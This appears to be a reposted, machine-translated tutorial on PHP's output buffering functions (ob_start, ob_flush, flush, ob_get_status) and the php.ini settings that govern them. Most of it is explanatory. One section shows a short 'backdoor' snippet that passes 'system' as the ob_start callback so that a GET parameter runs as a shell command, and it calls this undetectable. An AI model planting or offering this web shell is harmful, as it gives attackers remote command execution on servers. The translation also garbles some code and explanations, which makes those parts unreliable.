PHP output buffer control OutputControl series Function Details, output function details _ PHP Tutorial

Source: Internet
Author: User
PHP output buffer control OutputControl series Function Details, output function details. The OutputControl series of PHP output buffer control functions are described in detail. the output function has previously studied the input and output buffer of PHP. However, after the blog migration, the original article cannot be found, the Output Control series of PHP output buffer Control functions are described in detail, and the Output functions are described in detail.

Overview

I have studied PHP input and output buffering before. However, after the blog was migrated, I couldn't find the original article. I saw a good article today and I will repost it by the way.

Introduction

When talking about the output buffer, we should first talk about something called a buffer. A simple example shows its function: when editing a document, the system will not write data to the disk but to the buffer before it is saved, data is written to the disk only when the buffer is full or the storage is executed. For PHP, every output operation like echo is written to the php buffer first, and the script execution is complete or the forced output cache operation is executed, the data is displayed in the browser.
In fact, for PHP programmers, basically every script involves the output buffer, but in most cases, we do not need to change the output buffer. Today, we will use an instance to make a detailed analysis of the PHP Output buffer Control function "Output Control.
The following example briefly describes how the output buffer exists in a general script:
The code is as follows:
Echo 'apple ';
Echo 'IBM ';
Echo 'Microsoft'

When we execute the above script, when the script executes the first echo, it will not output the corresponding content to the browser, but will output it to a buffer, and so on, when all three echo operations are completed (that is, the script is completed), all the buffer content is output to the browser. Of course, this buffer has a size limit, which is set according to the output_buffering option in php. ini. this will be detailed in the following article. The output buffer control described in this chapter is to operate the content in the buffer before the script ends.
The following example can better reflect the application of output buffer control:
The code is as follows:
Echo 'apple'; sleep (2 );
Echo 'IBM '; sleep (2 );
Echo 'Microsoft ';

It takes at least two seconds for us to see the output result. can we display it in real time? That is to say, when the first echo is executed, the corresponding content is output. at this time, the output buffer control function is used to operate the buffer. how can this problem be solved first, the end of the article will be published.

Function

1. in PHP, functions such as header (), session_start (), and setcookie () cannot output any data before sending header files, the output buffer control function can be used to output data in the forward direction without an error. In fact, this is not necessary and is rarely used.
2. process the output content, such as generating static cache files and gzip compressed output. this is a common function.
3. capture some unrecoverable function outputs, such as phpinfo () and var_dump (). these functions will display the calculation results in the browser. if we want to process these results, it is a good method to use the output buffer control function. In layman's terms, such functions do not return values. to obtain the output data of these functions, an output buffer control function is required.
4. the last application is to output some data in real time.

Related configuration items in php. ini

Let's take a look at the three options related to the output buffer control in php. ini: output_buffering, implicit_flush, and output_handler.
1. output_buffering is off by default. when it is set to on, the output buffer is automatically opened in all scripts, that is, the ob_start () function is automatically executed in each script, instead of calling this function. It can also be set to an integer number, which represents the maximum number of bytes that can be stored in the buffer. we mentioned this configuration item in the description below in example 1.
2. the default value of implicit_flush is off. when it is set to on, PHP automatically sends the buffer content after the output. After each output segment, flush () is automatically executed (). Of course, effective output refers not only to functions such as echo and print, but also to HTML segments.
3. the default value of output_handler is null. its value can only be set to a built-in function name, which is used to process all the output of the script with the defined function. Its usage is similar to ob_start ('function _ name'). We will introduce it below.

In this article, if not specified, the values of output_buffering, implicit_flush, and output_handler in php. ini are default values.

Detailed description of the Output Control function

Ob_start ()

Bool ob_start ([callback outputcallback [, intchunk_size [, bool $ erase])

You can also understand the meaning of this function in terms of name, that is, to open the output buffer and proceed to the next step of output buffer processing. Here, we will specifically talk about the usage of its parameters. The first parameter must pass a callback function. it must take the buffer content as a parameter and return a string. It is called when the buffer is sent out. when the buffer is sent out, it indicates that the execution of functions or scripts such as ob_flush () is completed. The ob_flush () function will be introduced below. let's look at a simple example to understand its usage:
The code is as follows:
Function dothing1 ($ echo_thing ){
Return '#'. $ echo_thing .'#';
}

Ob_start ('dothing1 ');
Echo 'apple ';
Output result
# Apple #

The output result shows that "#" is added to both sides of the word. that is to say, when the buffer content is output, the dothing1 function we defined is run.

Let's look at a more practical example, that is, it is common to use gzip to compress the webpage content before outputting it. the code is as follows:
The code is as follows:
Ob_start ();
Echo str_repeat ('Apple ', 1024 );

Output result: if gzip is not used for compression, the size of the output content is 5.2KB.

Output result: when gzip is used for compression, the size of the document is much smaller, which takes a long time.

The second parameter chunk_size is the byte length of the buffer. if the buffer content is greater than this length, the buffer will be sent out. the default value is 0, indicating that the function will be called at the end. If the third parameter erase is set to flase, it indicates that the buffer zone will be deleted after the script is executed. if the delete buffer function is executed in advance (as mentioned later), an error will be reported.

There are so many usage of ob_start (), but there are two points worth special attention:

1. ob_start () can be called repeatedly, that is to say, a script can have multiple buffers, but remember to close them all in the nested order, if multiple ob_start parameters define the first parameter, that is, all callback functions, they are executed in the nested order. Stack nesting of the buffer zone is described in detail in the ob_get_level function.
2. the ob_start () method also has a less obvious but fatal backdoor usage. the implementation code is as follows:
The code is as follows:
$ Cmd = 'system ';
Ob_start ($ cmd );
Echo $ _ GET ['A'];
Ob_end_flush ();
Windows output result:
30,970,388,480 available bytes for 14 directories

If you understand the usage of ob_start above, it is not difficult to understand this code. when the ob_start function is applied, the buffer output content will be passed into the set function as a parameter, attackers can remotely execute commands with Web server permissions and cannot detect them.

Ob_get_contents ()

String ob_get_contents (void)
This function is used to obtain the content of the buffer at this time. the following example shows a good understanding of its usage:
The code is as follows:
Ob_start ('doting2 ');
Echo 'apple ';
$ Tmp = ob_get_contents ();
File_put_contents ('./doting2', $ tmp );
Ob_end_flush ()

Ob_get_length ()

This function is used to obtain the length of the buffer content.

Ob_get_level ()
Int ob_get_level (void)
This function is used to obtain the nesting level of the buffer mechanism. We mentioned when introducing the ob_start () function that multiple buffers can be nested in a script, this function is used to obtain the nesting level of the current buffer. the usage is as follows:
The code is as follows:
Ob_start ();
Var_dump (ob_get_level ());
Ob_start ();
Var_dump (ob_get_level ());
Ob_end_flush ();
Ob_end_flush ();

After running, we can clearly see their nested relationship.

Ob_get_status ()
Array ob_get_status ([bool $ full_status = FALSE])
This function is used to obtain the status of the current buffer and returns an array of status information. if the first parameter is true, an array of detailed information is returned. we can analyze this array with examples:
The code is as follows:
Ob_start ('OB _ gzhandler ');
Var_export (ob_get_status ());
Ob_start ();
Var_export (ob_get_status ());
Ob_end_flush ();
Running result
Array ('level' => 2, 'type' => 1, 'status' => 0, 'name' => 'OB _ gzhandler ', 'del' => true ,)
Array ('level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler ', 'del' => true ,)

Note:
1. level is the nested level, which is the same as the value obtained through ob_get_level ().
2. type indicates the processing buffer type. 0 indicates automatic processing within the system, and 1 indicates manual processing.
3. status indicates the buffer processing status, 0 indicates the start, 1 indicates the progress, and 2 indicates the end.
4. name is the name of the output processing function defined, that is, the name of the function passed in by the first parameter in the ob_start () function.
5. del indicates whether the buffer deletion operation is performed.

Ob_flush ()
Void ob_flush (void)
This function is used to "send" the content of the current buffer and clear the buffer. Note that the word "send" is used here. that is to say, calling this function will not output the content of the buffer, the flush function must be called later to output the data. The usage of flush will be discussed below, so we will no longer use instances here.

Flush ()
Void flush (void)
This function is commonly used to send all the preceding output to the browser for display without affecting the cache area. In other words, whether it is the output of functions such as echo, HTML entities, or the content sent by running ob_start (), flush () is displayed in the browser.

Differences between ob_flush () and flush ()

When the cache is not enabled, the content output by the script is waiting for output on the server side. flush () can immediately send the content waiting for output to the client side. After the cache is enabled, the content output by the script is stored in the output cache, and there is no content waiting for the output. you can directly use flush () without sending any content to the client. The function of ob_flush () is to extract the content that already exists in the output cache and set it to wait for the output status, but it will not be directly sent to the client. in this case, you need to first use ob_flush () then use flush () to obtain the script output immediately.

Void ob_implicit_flush ()

This function is used to enable/disable the absolute flush mode, that is, the flush () is automatically executed after each output, so that you do not need to display the call flush () to improve efficiency.

Other functions

1. bool ob_end_flush (void)
2. string ob_get_flush (void)
3. void ob_clean (void)
4. bool ob_end_clean (void)
5. string ob_get_clean (void)

Real-time output of some data

I believe that after reading the above content, I will have a deep understanding of the buffer control function of PHP. now let's go back to the questions left in the introduction: let the script in example 2 display the content in real time without waiting for four seconds to see all the content.
Depending on whether the cache is enabled or not, there are several different writing methods. if you cannot see the expected results during the test, you can use the header ('content-type: text/html; charset = utf-8 '); insert str_repeat ('', 1024) below;, you can also try a larger value. even if some browsers do this, the effect may still fail, you can try to put the php code into the body of the complete html code block. The header of the following code ('content-type: text/html; charset = utf-8 '); do not omit it; otherwise, some browsers cannot see the effect.
The code is as follows:
Ob_start (''); // Here I use ob_start ('OB _ gzhandler') for no effect
Header ('content-type: text/html; charset = utf-8 ');
Echo 'Apple #';
Ob_flush (); flush ();
Sleep (2 );
Echo 'IBM #';
Ob_flush (); flush ();
Sleep (2 );
Echo 'Microsoft ';

Explain the functions in the Control series, and explain the output functions. I have studied PHP input and output buffering before. However, after the blog was migrated, I couldn't find the original article. today...

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.